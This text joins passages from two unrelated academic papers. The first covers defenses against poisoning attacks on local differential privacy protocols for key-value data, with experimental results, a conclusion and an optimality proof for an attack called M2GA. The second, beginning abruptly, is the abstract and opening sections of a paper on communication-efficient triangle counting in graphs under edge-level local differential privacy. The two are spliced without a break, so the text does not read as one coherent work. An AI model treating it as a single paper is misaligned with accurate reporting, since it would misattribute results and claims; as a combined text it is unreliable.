OC against M2GA for PrivKVM on TalkingData.

perturbed KV pair and the index of a key to the server in each

round. Since the key is randomly sampled from the large dic-

tionary, it is unlikely that the same key is repeatedly selected

in multiple rounds for genuine users. However, since a fake

user promotes a target key in each round, it may send the

same key to the server in multiple rounds, especially when

the number of target keys is small.

Based on this intuition, we assign an anomaly score to each

user, which we define as the maximum number of rounds

in which the user sends the same index of key to the server.

Specifically, in round t, the server computes the number of

rounds Nt
k,u in which the user u has sent key k to the server.

The anomaly score of user u in round t is the maximum Nt
k,u

over possible k’s. If the anomaly score for a user is no smaller

Figure 13: Impact of β and r on the defense effectiveness of

OC against M2GA for PCKV-UE on TalkingData.

than η (called anomaly threshold), then we mark the user as

a fake one. We calculate the anomaly score of each user and

detect fake users in each round. When a user is detected as

fake in a certain round, we exclude the user in the subsequent

rounds for mean estimation. Moreover, we re-estimate the

frequencies of keys based on the messages sent by users in

the first round by removing the ones belonging to the detected

fake users.

7.3 Experiments
7.3.1 Experimental Setup

Unless otherwise mentioned, we adopt the following default

parameters: β = 0.05, r = 2, ε = 1.0, Niter = 10, and η =
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Figure 14: Impact of β and r on the defense effectiveness of

OC against M2GA for PCKV-GRR on TalkingData.

2. We adopt frequency gain (gain@freq) and mean gain
(gain@mean) of a set of target keys as the evaluation metrics

(please refer to Section 6.1.2 for details). Moreover, we also

consider False Positive Rate (FPR) (or False Negative Rate
(FNR)), which is the fraction of genuine (or fake) users that

are detected as fake (or genuine). We vary one parameter

while keeping the others fixed to their default values to study

the impact of it on the effectiveness of our defenses. Moreover,

we evaluate M2GA since it is the strongest attack.

7.3.2 Experimental Results

Figure 11 shows the impact of β, r, and λ on the FPRs and

FNRs of OC and AS against M2GA on TalkingData dataset.

Figure 12, 13, and 14 show the impact of β and r on the

defense effectiveness of OC against M2GA on TalkingData

dataset for PrivKVM, PCKV-UE, and PCKV-GRR, respec-

tively. Figure 15 shows the impact of β and r on the defense

effectiveness of AS against M2GA for PrivKVM on Talking-

Data dataset. Note that in Figure 15, we set β = 0.001 when

exploring the impact of r to better illustrate the impact of r
(AS is not effective in the default setting β = 0.05 regardless

of r).

Our key observation is that the defenses are effective in

some scenarios but have limited effectiveness in other sce-

narios. For instance, when β is small or r is large, OC fails

to detect the fake users with high FNR. Moreover, OC has

high FPR (e.g., 22% for PCKV-UE), which results in utility

loss as a large fraction of genuine users are excluded from

aggregation. For instance, when β = 0.05 and r = 2, OC

for PCKV-GRR has a FPR of 5.5% and the mean gain is

-1.04, which means that the estimated mean decreases by 1.04

compared to the estimated mean without attack and defense.

Similarly, when β or r is small, AS can detect a large fraction

or all of fake users, and thus the frequency and mean gains

of M2GA under AS become close to 0. However, when β
or r is large, the frequency gain and/or mean gain increase

Figure 15: Impact of β and r on the defense effectiveness of

AS against M2GA for PrivKVM on TalkingData.

substantially. Our results show that new defenses are needed

to defend against our attacks.

7.4 Other Defenses
Another defense is to use verifiable computing in the LDP

protocols. For instance, the server may leverage homomor-

phic encryption [33] when collecting the key-value pairs.

However, such methods incur large computational overhead

on the user side, downgrading the user experience. Other

potential defenses include detecting fake users based on ad-

ditional information about the users, e.g., their social con-

nections [12, 20, 21, 31, 42, 43, 50] or registration informa-

tion [51]. Nevertheless, these detection methods are not ap-

plicable when the needed information is not available.

8 Conclusion and Future Work

In this paper, we conduct the first systematic study on poison-

ing attacks to LDP protocols for key-value data. We show

such poisoning attacks can be formulated as a two-objective

optimization problem. Our results show that an attacker

can promote the estimated frequencies and mean values of

attacker-chosen target keys. We also explore two defenses,

which are effective in some scenarios but are ineffective in

others. An interesting future work is to study defenses against

our attacks.
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A Appendix

A.1 Optimality of M2GA
Theorem 1. In a given execution of any of the three LDP
protocols, M2GA achieves the optimal mean gain if there is
only one target key k and nk

1 ≥ nk
−1 >

(n+m)b
2 .

Proof. When there is only one target key k, the mean gain

in a given execution of a LDP protocol can be written as

Gm(Y) = m̃k − m̂k, where the second term is irrelevant to the

attack. Therefore, Gm(Y) is maximized when m̃k is maxi-

mized. According to Equation (21), we have the following

equation:

m̃k =

(
nk

1 −nk
−1 + ñk

1 − ñk
−1

)
(a−b)

a(2p−1)
(
nk

1 +nk
−1 + ñk

1 + ñk
−1 − (n+m)b

) , (28)

where nk
1 and nk

−1 are constants in a given execution. For

simplicity, we let x = nk
1 +nk

−1 − (n+m)b, y = nk
1 −nk

−1, and

z = a−b
a(2p−1) . Then we can rewrite m̃k as follows:

m̃k = z · y+ ñk
1 − ñk

−1

x+ ñk
1 + ñk

−1

, (29)

where z > 0. Taking the partial derivative with respect to ñk
1

and ñk
−1, we have the following equations:

∂m̃k

∂ñk
1

=
z

(x+ ñk
1 + ñk

−1)
2
· (2ñk

−1 + x− y) (30)

∂m̃k

∂ñk
−1

=
z

(x+ ñk
1 + ñk

−1)
2
· (−2ñk

1 − x− y) (31)

If nk
1 ≥ nk

−1 >
(n+m)b

2 , we have x−y > 0 and x+y > 0. Since

ñk
−1 and ñk

1 are both in the range [0,m], we have ∂m̃k
∂ñk

1

> 0 and

∂m̃k
∂ñk

−1

< 0. Therefore, m̃k reaches the maximum value when

ñk
1 = m and ñk

−1 = 0, which is what M2GA does. In other

words, M2GA maximizes the mean gain Gm(Y) for the given

execution.
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Abstract
Triangle counting in networks under LDP (Local Differen-

tial Privacy) is a fundamental task for analyzing connection
patterns or calculating a clustering coefficient while strongly
protecting sensitive friendships from a central server. In par-
ticular, a recent study proposes an algorithm for this task that
uses two rounds of interaction between users and the server to
significantly reduce estimation error. However, this algorithm
suffers from a prohibitively high communication cost due to
a large noisy graph each user needs to download.

In this work, we propose triangle counting algorithms un-
der LDP with a small estimation error and communication
cost. We first propose two-rounds algorithms consisting of
edge sampling and carefully selecting edges each user down-
loads so that the estimation error is small. Then we propose a
double clipping technique, which clips the number of edges
and then the number of noisy triangles, to significantly reduce
the sensitivity of each user’s query. Through comprehensive
evaluation, we show that our algorithms dramatically reduce
the communication cost of the existing algorithm, e.g., from 6
hours to 8 seconds or less at a 20 Mbps download rate, while
keeping a small estimation error.

1 Introduction

Counting subgraphs (e.g., triangles, stars, cycles) is one of the
most basic tasks for analyzing connection patterns in various
graph data, e.g., social, communication, and collaboration net-
works. For example, a triangle is given by a set of three nodes
with three edges, whereas a k-star is given by a central node
connected to k other nodes. These subgraphs play a crucial
role in calculating a clustering coefficient (= 3×#triangles

#2-stars ) (see
Figure 1). The clustering coefficient measures the average
probability that two friends of a user will also be a friend in
a social graph [45]. Therefore, it is useful for measuring the
effectiveness of friend suggestions. In addition, the clustering
coefficient represents the degree to which users tend to cluster

∗The first and second authors made equal contribution.

together. Thus, if it is large in some services/communities,
we can effectively apply social recommendations [38] to the
users. Triangles and k-stars are also useful for constructing
graph models [31, 52]; see also [59] for other applications of
triangle counting. However, graph data often involve sensitive
data such as sensitive edges (friendships), and they can be
leaked from exact numbers of triangles and k-stars [29].

To analyze subgraphs while protecting user privacy, DP
(Differential Privacy) [25] has been widely adopted as a pri-
vacy metric [24,29,36,56,64,65,67]. DP protects user privacy
against adversaries with arbitrary background knowledge and
is known as a gold standard for data privacy. According to
the underlying model, DP can be categorized into central
(or global) DP and LDP (Local DP). Central DP assumes a
scenario where a central server has personal data of all users.
Although accurate analysis of subgraphs is possible under this
model [24,36,67], there is a risk that the entire graph is leaked
from the server by illegal access or internal fraud [18, 43]. In
addition, central DP cannot be applied to decentralized so-
cial networks [4–6, 48] where the entire graph is distributed
across many servers. We can even consider fully decentral-
ized applications where a server does not have any original
edge, e.g., a mobile app that sends a noisy degree (noisy num-
ber of friends) to the server, which then estimates a degree
distribution. Central DP cannot be used in such applications.

In contrast, LDP assumes a scenario where each user obfus-
cates her personal data (friends list in the case of graphs) by
herself and sends the obfuscated data to a possibly malicious
server; i.e., it does not assume trusted servers. Thus, it does
not suffer from a data breach and can also be applied to the
decentralized applications. LDP has been widely studied in
tabular data where each row corresponds to a user’s personal
data (e.g., age, browser setting, location) [8, 12, 27, 33, 44, 60]
and also in graph data [29, 49, 64, 65]. For example, k-star
counts can be very accurately estimated under LDP because
each user can count k-stars of which she is a center and sends
a noisy version of her k-star count to the server [29].

However, more complex subgraphs such as triangles are
much harder to count under LDP because each user cannot see
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Figure 1: Triangles, 2-stars, and clustering coefficient.

edges between other users. For example, in Figure 1, user v1
cannot see edges between v2, v3, and v6 and therefore cannot
count triangles involving v1. Thus, existing algorithms [29,
64, 65] obfuscate each user’s edges (rather than her triangle
count) by RR (Randomized Response) [61] and send noisy
edges to a server. Consequently, the server suffers from a
prohibitively large estimation error (e.g., relative error > 102

in large graphs, as shown in Appendix B) because all three
edges are noisy in any noisy triangle the server sees.

A recent study [29] shows that the estimation error in lo-
cally private triangle counting is significantly reduced by
introducing an additional round of interaction between users
and the server. Specifically, if the server publishes the noisy
graph (all noisy edges) sent by users at the first round, then
each user can count her noisy triangles such that only one edge
is noisy (as she knows two edges connected to her). Thus, the
algorithm in [29] sends each user’s noisy triangle count (with
additional noise) to the server at the second round. Then the
server can accurately estimate the triangle count. This algo-
rithm also requires a much smaller number of interactions
(i.e., only two) than collaborative approaches [34, 55] that
generally require many interactions.

Unfortunately, the algorithm in [29] is still impractical for
a large-scale graph. Specifically, the noisy graph sent by users
is dense, hence extremely large for a large-scale graph, e.g.,
500 Gbits for a graph of a million users. The problem is that
every user needs to download such huge data; e.g., when the
download speed is 20 Mbps (which is a recommended speed
in YouTube [7]), every user needs about 7 hours to download
the noisy graph. Since the communication ability might be
limited for some users, the algorithm in [29] cannot be used
for applications with large and diverse users.

In summary, existing triangle algorithms under LDP suffer
from either a prohibitively large estimation error or a pro-
hibitively high communication cost. They also suffer from
the same issues when calculating the clustering coefficient.
Our Contributions. We propose locally private triangle
counting algorithms with a small estimation error and small
communication cost. Our contributions are as follows:

• We propose two-rounds triangle algorithms consisting
of edge sampling after RR and selecting edges each user
downloads. In particular, we show that a simple exten-
sion of [29] with edge sampling suffers from a large
estimation error for a large or dense graph where the
number of 4-cycles (such as v1-v2-v3-v6-v1 in Figure 1)
is large. To address this issue, we propose some strate-
gies for selecting edges to download to reduce the error

caused by the 4-cycles, which we call the 4-cycle trick.

• We show that the algorithms with the 4-cycle trick still
suffer from a large estimation error due to large Lapla-
cian noise for each user. To significantly reduce the
Laplacian noise, we propose a double clipping technique,
which clips a degree (the number of edges) of each user
with LDP and then clips the number of noisy triangles.

• We evaluate our algorithms using two real datasets. We
show that our entire algorithms with the 4-cycle trick and
double clipping dramatically reduce the communication
cost of [29]. For example, for a graph with about 900000
users, we reduce the download cost from 400 Gbits (6
hours when 20 Mbps) to 160 Mbits (8 seconds) or less
while keeping the relative error much smaller than 1.

Thus, locally private triangle counting is now much more
practical. In Appendix C, we also show that we can estimate
the clustering coefficient with a small estimation error and
download cost. For example, our algorithms are useful for
measuring the effectiveness of friend suggestions or social
recommendations in decentralized social networks, e.g., Di-
aspora [4], Mastodon [5]. Our source code is available at [1].

All the proofs of our privacy and utility analysis are given
in the full version [30].
Technical Novelty. Below we explain more about the tech-
nical novelty of this paper. Although we focus on two-rounds
local algorithms in the same way as [29], we introduce several
new algorithmic ideas previously unknown in the literature.

First, our 4-cycle trick is totally new. Although some stud-
ies focus on 4-cycle counting [13, 35, 40, 42], this work is
the first to use 4-cycles to improve communication efficiency.
Second, selective download of parts of a centrally computed
quantity is also new. This is not limited to graphs – even
in machine learning, there are no such strategic download
techniques previously, to our knowledge. Third, our utility
analysis of our triangle algorithms (Theorem 2) is different
from [29] in that ours introduces subgraphs such as 4-cycles
and k-stars. This leads us to our 4-cycle trick. Fourth, we
propose two triangle algorithms that introduce the 4-cycle
trick and show that the more tricky one provides the best
performance because of its low sensitivity in DP.

Finally, our double clipping is new. Andrew et al. [9] pro-
pose an adaptive clipping technique, which applies clipping
twice. However, they focus on federated averaging, and their
problem setting is different from our graph setting. In partic-
ular, they require a private quantile of the norm distribution.
In contrast, we need only a much simpler estimate: a private
degree. Here, we use the fact that the degree has a small sensi-
tivity (sensitivity = 1) in DP for edges. We also provide a new,
reasonably tight bound on the probability that the noisy trian-
gle count exceeds a clipping threshold (Theorem 4). Thanks
to the two differences, we obtain a significant communication
improvement: two or three orders of magnitude.
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2 Related Work

Triangle Counting. Triangle counting has been extensively
studied in a non-private setting [14, 15, 21, 26, 54, 57, 58, 62]
(it is almost a sub-field in itself) because it requires high time
complexity for large graphs.

Edge sampling [14, 26, 58, 62] is one of the most basic
techniques to improve scalability. Although edge sampling is
simple, it is quite effective – it is reported in [62] that edge
sampling outperforms other sampling techniques such as node
sampling and triangle sampling. Based on this, we adopt edge
sampling after RR1 with new techniques such as the 4-cycle
trick and double clipping. Our entire algorithms significantly
improve the communication cost, as well as the space and
time complexity, under LDP (see Sections 5.3 and 6).
DP on Graphs. For private graph analysis, DP has been
widely adopted as a privacy metric. Most of them adopt cen-
tral (or global) DP [23, 24, 28, 36, 37, 50, 67], which suffers
from the data breach issue.

LDP on graphs has recently studied in some studies, e.g.,
synthetic data generation [49], subgraph counting [29, 56, 64,
65]. A study in [56] proposes subgraph counting algorithms
in a setting where each user allows her friends to see all her
connections. However, this setting is unsuitable for many
applications; e.g., in Facebook, a user can easily change her
setting so that her friends cannot see her connections.

Thus, we consider a model where each user can see only her
friends. In this model, some one-round algorithms [64,65] and
two-rounds algorithms [29] have been proposed. However,
they suffer from a prohibitively large estimation error or high
communication cost, as explained in Section 1.

Recently proposed network LDP protocols [22] consider,
instead of a central server, collecting private data with user-
to-user communication protocols along a graph. They focus
on sums, histograms, and SGD (Stochastic Gradient Descent)
and do not provide subgraph counting algorithms. Moreover,
they focus on hiding each user’s private dataset rather than
hiding an edge in a graph. Thus, their approach cannot be
applied to our task of subgraph counting under LDP for edges.
The same applies to another work [53] that improves the
utility of an averaging query by correlating the noise of users
according to a graph.
LDP. RR [33, 61] and RAPPOR [27] have been widely used
for tabular data in LDP. Our work uses RR in part of our
algorithm but builds off of it significantly. One noteworthy
result in this area is HR (Hadamard Response) [8], which is
state-of-the-art for tabular data and requires low communi-
cation. However, this result is not applied to graph data and

1We also note that a study in [46] proposes a graph publishing algorithm
in the central model that independently changes 1-cells (edges) to 0-cells (no
edges) with some probability and then changes a fixed number of 0-cells to 1-
cells without replacement. However, each 0-cell is not independently sampled
in this case, and consequently, their proof that relies on the independence of
the noise to each 0-cell is incorrect. In contrast, our algorithms provide DP
because we apply sampling after RR, i.e., post-processing.

does not address the communication issues considered in this
paper. Specifically, applying HR to each bit in a neighbor list
will result in O(n2) (n: #users) download cost in the same
way as the previous work [29] that uses RR. Applying HR
to an entire neighbor list (which has 2n possible values) will
similarly result in O(n log2n) = O(n2) download cost.

Previous work on distribution estimation [33, 44, 60] or
heavy hitters [12] addresses a different problem than ours, as
they assume that every user has i.i.d. (independent and iden-
tically distributed) samples. In our setting, a user’s neighbor
list is non-i.i.d. (as one edge is shared by two users), which
does not fit into their statistical framework.

3 Preliminaries

3.1 Notations
We begin with basic notations. Let N, R, Z≥0, and R≥0 be the
sets of natural numbers, real numbers, non-negative integers,
and non-negative real numbers, respectively. For z ∈N, let [z]
a set of natural numbers from 1 to z; i.e., [z] = {1,2, . . . ,z}.

Let G = (V,E) be an undirected graph, where V is a set
of nodes and E ⊆ V ×V is a set of edges. Let n ∈ N be
the number of nodes in V . Let vi ∈ V be the i-th node; i.e.,
V = {v1, . . . ,vn}. We consider a social graph where each node
in V represents a user and an edge (vi,v j) ∈ E represents that
vi is a friend with v j. Let dmax ∈N be the maximum degree of
G. Let G be a set of graphs with n nodes. Let f4 : G → Z≥0
be a triangle count query that takes G∈G as input and outputs
a triangle count f4(G) (i.e., number of triangles) in G.

Let A=(ai, j)∈{0,1}n×n be a symmetric adjacency matrix
corresponding to G; i.e., ai, j = 1 if and only if (vi,v j) ∈ E.
We consider a local privacy model [29, 49], where each user
obfuscates her neighbor list ai = (ai,1, . . . ,ai,n) ∈ {0,1}n (i.e.,
the i-th row of A) using a local randomizer R i with domain
{0,1}n and sends obfuscated data R i(ai) to a server. We also
assume a two-rounds algorithm in which user vi downloads a
message Mi from the server at the second round.

We also show the basic notations in Table 2 of Appendix A.

3.2 Local Differential Privacy on Graphs
LDP on Graphs. When we apply LDP (Local DP) to graphs,
we follow the direction of edge DP [47, 51] that has been
developed for the central DP model. In edge DP, the existence
of an edge between any two users is protected; i.e., two com-
putations, one using a graph with the edge and one using the
graph without the edge, are indistinguishable. There is also
another privacy notion called node DP [28, 66], which hides
the existence of one user along with all her edges. However,
in the local model, many applications send a user ID to a
server; e.g., each user sends the number of her friends along
with her user ID. For such applications, we cannot use node
DP but can use edge DP to hide her edges, i.e., friends. Thus,
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we focus on edge DP in the local model in the same way
as [29, 49, 56, 64, 65].

Specifically, assume that user vi uses her local randomizer
R i. We assume that the server and other users can be honest-
but-curious adversaries and that they can obtain all edges
except for user vi’s edges as prior knowledge. Then we use
the following definition for R i:

Definition 1 (ε-edge LDP [49]). Let ε ∈ R≥0. For i ∈ [n], let
R i be a local randomizer of user vi that takes ai as input.
We say R i provides ε-edge LDP if for any two neighbor lists
ai,a′i ∈ {0,1}n that differ in one bit and any s ∈ Range(R i),

Pr[R i(ai) = s]≤ eε Pr[R i(a′i) = s]. (1)

For example, a local randomizer R i that applies Warner’s
RR (Randomized Response) [61], which flips 0/1 with proba-
bility 1

eε+1 , to each bit of ai provides ε-edge LDP.
The parameter ε is called the privacy budget. When ε is

small (e.g., ε≤ 1 [39]), each bit is strongly protected by edge
LDP. Edge LDP can also be used to hide multiple bits – by
group privacy [25], two neighbor lists ai,a′i ∈ {0,1}n that
differ in k ∈ N bits are indistinguishable up to the factor kε.

Edge LDP is useful for protecting a neighbor list ai of
each user vi. For example, a user in Facebook can change her
setting so that anyone (except for the central server) cannot
see her friend list ai. Edge LDP hides ai even from the server.

As with regular LDP, the guarantee of edge LDP does not
break even if the server or other users act maliciously. How-
ever, adding or removing an edge affects the neighbor list
of two users. This means that each user needs to trust her
friend to not reveal an edge between them. This also applies
to Facebook – even if vi keeps ai secret, her edge with v j
can be disclosed if v j reveals a j. To protect each edge dur-
ing the whole process, we use another privacy notion called
relationship DP [29]:

Definition 2 (ε-relationship DP [29]). Let ε∈R≥0. For i∈ [n],
let R i be a local randomizer of user vi that takes ai as input.
We say (R 1, . . . ,R n) provides ε-relationship DP if for any
two neighboring graphs G,G′ ∈G that differ in one edge and
any (s1, . . . ,sn) ∈ Range(R 1)× . . .×Range(R n),

Pr[(R 1(a1), . . . ,R n(an)) = (s1, . . . ,sn)]

≤ eε Pr[(R 1(a′1), . . . ,R n(a′n)) = (s1, . . . ,sn)], (2)

where ai (resp. a′i) ∈ {0,1}n is the i-th row of the adjacency
matrix of graph G (resp. G′).

If users vi and v j follow the protocol, (2) holds for graphs
G,G′ that differ in (vi,v j). Thus, relationship DP applies to
all edges of a user whose neighbors are trustworthy.

While users need to trust other friends to maintain a rela-
tionship DP guarantee, only one edge per user is at risk for
each malicious friend that does not follow the protocol. This
is because only one edge can exist between two users. Thus,

although the trust assumption in relationship DP is stronger
than that of LDP, it is much weaker than that of central DP in
which all edges can be revealed by the server.

It is possible to use a tuple of local randomizers with edge
LDP to obtain a relationship DP guarantee:

Proposition 1 (Edge LDP and relationship DP [29]). If
each of local randomizers R 1, . . . ,R n provides ε-edge LDP,
then (R 1, . . . ,R n) provides 2ε-relationship DP. Addition-
ally, if each R i uses only bits ai,1, . . . ,ai,i−1 for users with
smaller IDs (i.e., only the lower triangular part of A), then
(R 1, . . . ,R n) provides ε-relationship DP.

The doubling factor in ε comes from the fact that (2) applies
to an entire edge, whereas (1) applies to just one neighbor list,
and adding an entire edge may cause changes to two neighbor
lists. However, if each R i ignores bits ai,i, . . . ,ai,n for users
with larger IDs, then this doubling factor can be avoided. Our
algorithms also use only the lower triangular part of A to
avoid this doubling issue.
Interaction among Users and Multiple Rounds. While
interaction in LDP has been studied before [32], neither of
Definitions 1 and 2 allows the interaction among users in a
one-round protocol where user vi sends R i(ai) to the server.

However, the interaction among users is possible in a multi-
round protocol. Specifically, at the first round, user vi applies a
randomizer R 1

i and sends R 1
i (ai) to the server. At the second

round, the server calculates a message Mi for vi by performing
some post-processing on R 1

i (ai), possibly with the private
outputs by other users. Let λi be the post-processing algorithm
on R 1

i (ai); i.e., Mi = λi(R 1
i (ai)). The server sends Mi to vi.

Then, vi uses a randomizer R 2
i (Mi) that depends on Mi and

sends R 2
i (Mi)(ai) back to the server. This entire computation

provides DP by a (general) sequential composition [39]:

Proposition 2 (Sequential composition of edge LDP). For
i ∈ [n], let R 1

i be a local randomizer of user vi that takes ai
as input. Let λi be a post-processing algorithm on R 1

i (ai),
and Mi = λi(R 1

i (ai)) be its output. Let R 2
i (Mi) be a local

randomizer of vi that depends on Mi. If R 1
i provides ε1-edge

LDP and for any Mi ∈ Range(λi), R 2
i (Mi) provides ε2-edge

LDP, then the sequential composition (R 1
i (ai),R 2

i (Mi)(ai))
provides (ε1 + ε2)-edge LDP.

We provide a proof of Proposition 2 in the full version [30].
Global Sensitivity. We use the notion of global sensitiv-
ity [25] to provide edge LDP:

Definition 3. In edge LDP (Definition 1), the global sensitiv-
ity of a function f : {0,1}n→ R is given by:

GS f = max
ai,a′i∈{0,1}n,ai∼a′i

| f (ai)− f (a′i)|,

where ai ∼ a′i represents that ai and a′i differ in one bit.

For example, adding the Laplacian noise with mean 0 scale
GS f

ε
(denoted by Lap(GS f

ε
)) to f (ai) provides ε-edge LDP.
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3.3 Utility and Communication-Efficiency
Utility. We consider a private estimate of f4(G). Our private
estimator f̂4 : G → R is a post-processing of local randomiz-
ers (R 1, . . . ,R n) that satisfy ε-edge LDP. Following previous
work, we use the l2 loss (i.e., squared error) [33, 44, 60] and
the relative error [16, 19, 63] as utility metrics.

Specifically, let l2
2 be the expected l2 loss function on

a graph G, which maps the estimate f̂4(G) and the true
value f4(G) to the expected l2 loss; i.e., l2

2( f4(G), f̂4(G)) =

E[( f̂4(G)− f4(G))2]. The expectation is taken over the ran-
domness in the estimator f̂ , which is necessarily a randomized
algorithm since it satisfies edge LDP. In our theoretical analy-
sis, we analyze the expected l2 loss, as with [33, 44, 60].

Note that the l2 loss is large when f4(G) is large. There-
fore, in our experiments, we use the relative error given by
| f̂4(G)− f4(G)|
max{ f4(G),η} , where η∈R≥0 is a small value. Following con-

vention [16, 19, 63], we set η to 0.001n. The estimate is very
accurate when the relative error is much smaller than 1.

Communication-Efficiency. A prominent concern when per-
forming local computations is that the computing power of
individual users is often limited. Of particular concern to our
private estimators, and a bottleneck of previous work in locally
private triangle counting [29], is the communication overhead
between users and the server. This communication takes the
form of users downloading any necessary data required to
compute their local randomizers and uploading the output
of their local randomizers. We distinguish the two quantities
because often downloading is cheaper than uploading.

Consider a τ-round protocol, where τ ∈N. At round j ∈ [τ],
user vi applies a local randomizer R j

i (M
j
i ) to her neighbor

list ai, where M j
i is a message sent from the server to user vi

during round j. We define the download cost as the number of
bits required to describe M j

i and the upload cost as the number
of bits required to describe R j

i (M
j
i )(ai). Over all rounds and

all users, we evaluate the maximum per-user download/upload
cost, which is given by:

CostDL = maxn
i=1 ∑

τ
j=1E[|M

j
i |] (bits) (3)

CostUL = maxn
i=1 ∑

τ
j=1E[|R

j
i (M

j
i )(ai)|] (bits). (4)

The above expectations go over the probability distributions
of computing the local randomizers and any post-processing
done by the server. We evaluate the maximum of the expected
download/upload cost over users.

4 Communication-Efficient Triangle Count-
ing Algorithms

The current state-of-the-art triangle counting algorithm [29]
under edge LDP suffers from an extremely large per-user
download cost; e.g., every user has to download a message of

User Server

1st Round

noisy edges (ARR)

noisy edges between others
User Server

2nd Round

#noisy triangles 
+ corrective term + Lap

ARR (Asymmetric RR)

noisy edges
original edges

Noisy Triangles

1

0

1

0

1

0

Figure 2: Overview of our communication-efficient triangle
counting algorithms (p1 =

eε

eε+1 , p2 ∈ [0,1]).

400 Gbits or more when n = 900000. Therefore, it is imprac-
tical for a large graph. To address this issue, we propose three
communication-efficient triangle algorithms under edge LDP.

We explain the overview and details of our proposed algo-
rithms in Sections 4.1 and 4.2, respectively. Then we analyze
the theoretical properties of our algorithms in Section 4.3.

4.1 Overview
Motivation. The drawback of the triangle algorithm in [29]
is a prohibitively high download cost at the second round.
This comes from the fact that in their algorithm, each user vi
applies Warner’s RR (Randomized Response) [61] to bits for
smaller user IDs in her neighbor list ai (i.e., lower triangular
part of A) and then downloads the whole noisy graph. Since
Warner’s RR outputs 1 (edge) with high probability (e.g.,
about 0.5 when ε is close to 0), the number of edges in the
noisy graph is extremely large—about half of the

(n
2

)
possible

edges will be edges.
In this paper, we address this issue by introducing two

strategies: sampling edges and selecting edges each user
downloads. First, each user vi samples each 1 (edge) after
applying Warner’s RR. Edge sampling has been widely stud-
ied in a non-private triangle counting problem [14, 26, 58, 62].
In particular, Wu et al. [62] compare various non-private trian-
gle algorithms (e.g., edge sampling, node sampling, triangle
sampling) and show that edge sampling provides almost the
lowest estimation error. They also formally prove that edge
sampling outperforms node sampling. Thus, sampling edges
after Warner’s RR is a natural choice for our private setting.

Second, we propose three strategies for selecting edges
each user downloads. The first strategy is to simply select all
noisy edges; i.e., each user downloads the whole noisy graph
in the same way as [29]. The second and third strategies select
some edges (rather than all edges) in a more clever manner so
that the estimation error is significantly reduced. We provide
a more detailed explanation in Section 4.2.

Algorithm Overview. Figure 2 shows the overview of our
proposed algorithms.

At the first round, each user vi obfuscates bits for smaller
user IDs in her neighbor list ai by an LDP mechanism which
we call the ARR (Asymmetric Randomized Response) and
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sends the obfuscated bits to a server. The ARR is a com-
bination of Warner’s RR and edge sampling; i.e., we apply
Warner’s RR that outputs 1 or 0 as it is with probability p1
(= eε

eε+1 ) and then sample each 1 with probability p2 ∈ [0,1].
Unlike Warner’s RR, the ARR is asymmetric in that the flip
probability in the whole process is different depending on
the input value. As with Warner’s RR, the ARR provides
edge LDP. We can also significantly reduce the number of 1s
(hence the communication cost) by setting p2 small.

At the second round, the server calculates a message Mi
for user vi consisting of some or all noisy edges between
others. We propose three strategies for calculating Mi. User
vi downloads Mi from the server. Then, since user vi knows
her edges, vi can count noisy triangles (vi, v j, vk) such that
j < k < i and only one edge (v j, vk) is noisy, as shown in
Figure 2. The condition j < k < i is imposed to use only the
lower triangular part of A, i.e., to avoid the doubling issue in
Section 3.2. User vi adds a corrective term and the Laplacian
noise to the noisy triangle count and sends it to a server. The
corrective term is added to enable the server to obtain an
unbiased estimate of f4(G). The Laplacian noise provides
edge LDP. Finally, the server calculates an unbiased estimate
of f4(G) from the noisy data sent by users. By composition
(Proposition 2), our algorithms provide edge LDP in total.
Remark. Note that it is also possible for the server to calcu-
late an unbiased estimate of f4(G) at the first round. However,
this results in a prohibitively large estimation error because
all edges sent by users are noisy; i.e., three edges are noisy
in any triangle. In contrast, only one edge is noisy in each
noisy triangle at the second round because each user vi knows
two original edges connected to vi. Consequently, we can ob-
tain an unbiased estimate with a much smaller variance. See
Appendix B for a detailed comparison.

4.2 Algorithms

ARR. First, we formally define the ARR. The ARR has two
parameters: ε ∈ R≥0 and µ ∈ [0, eε

eε+1 ]. The parameter ε is the
privacy budget, and µ controls the communication cost.

Let ARRε,µ be the ARR with parameters ε and µ. It takes
0/1 as input and outputs 0/1 with the following probability:

Pr[ARRε,µ(1) = b] =

{
µ (b = 1)
1−µ (b = 0)

(5)

Pr[ARRε,µ(0) = b] =

{
µρ (b = 1)
1−µρ (b = 0),

(6)

where ρ = e−ε. By Figure 2, we can view this randomizer as
a combination of Warner’s RR [61] and edge sampling, where
µ = p1 p2. In fact, the ARR with µ = p1 =

eε

eε+1 (i.e., p2 = 1)
is equivalent to Warner’s RR.

Each user vi applies the ARR to bits for smaller user
IDs in her neighbor list ai; i.e., R i(ai) = (ARRε,µ(ai,1), . . . ,

ARRε,µ(ai,i−1)). Then vi sends R i(ai) to the server. Since ap-
plying Warner’s RR to ai provides ε-edge LDP (as described
in Section 3.2) and the sampling is a post-processing process,
applying the ARR to ai also provides ε-edge LDP by the
immunity to post-processing [25].

Let E ′ ⊆V ×V be a set of noisy edges sent by users.

Which Noisy Edges to Download? Now, the main question
tackled in this paper is: Which noisy edges should each user
vi download at the second round? Note that user vi is not
allowed to download only a set of noisy edges that form
noisy triangles (i.e., {(v j,vk) ∈ E ′|(vi,v j) ∈ E,(vi,vk) ∈ E}),
because it tells the server who are friends with vi. In other
words, user vi cannot leak her original edges to the server
when she downloads noisy edges; the server must choose
which part of E ′ to include in the message Mi it sends her.

Thus, a natural solution would be to download all noisy
edges between others (with smaller user IDs); i.e., Mi =
{(v j,vk) ∈ E ′| j < k < i}. We denote our algorithm with this
full download strategy by ARRFull4. The (inefficient) two-
rounds algorithm in [29] is a special case of ARRFull4 without
sampling (µ = p1). In other words, ARRFull4 is a generaliza-
tion of the two-rounds algorithm in [29] using the ARR.

In this paper, we show that we can do much better than AR-
RFull4. Specifically, we prove in Section 4.3 that ARRFull4
results in a high estimation error when the number of 4-cycles
(cycles of length 4) in G is large. Intuitively, this can be ex-
plained as follows. Suppose that vi, v j, vi′ , and vk ( j < k < i,
j < k < i′) form a 4-cycle. There is no triangle in this graph.
However, if there is a noisy edge between v j and vk, then
two (incorrect) noisy triangles appear: (vi, v j, vk) counted
by vi and (vi′ , v j, vk) counted by vi′ . More generally, let Ei jk
(resp. Ei′ jk) ∈ {0,1} be a random variable that takes 1 if (vi,
v j, vk) (resp. (vi′ , v j, vk)) forms a noisy triangle and 0 other-
wise. Then, the covariance Cov(Ei jk,Ei′ jk) between Ei jk and
Ei′ jk is large because the presence/absence of a single noisy
edge (v j, vk) affects the two noisy triangles.

To address this issue, we introduce a trick that makes the
two noisy triangles less correlated with each other. We call
this the 4-cycle trick. Specifically, we propose two algorithms
in which the server uses noisy edges connected to vi when
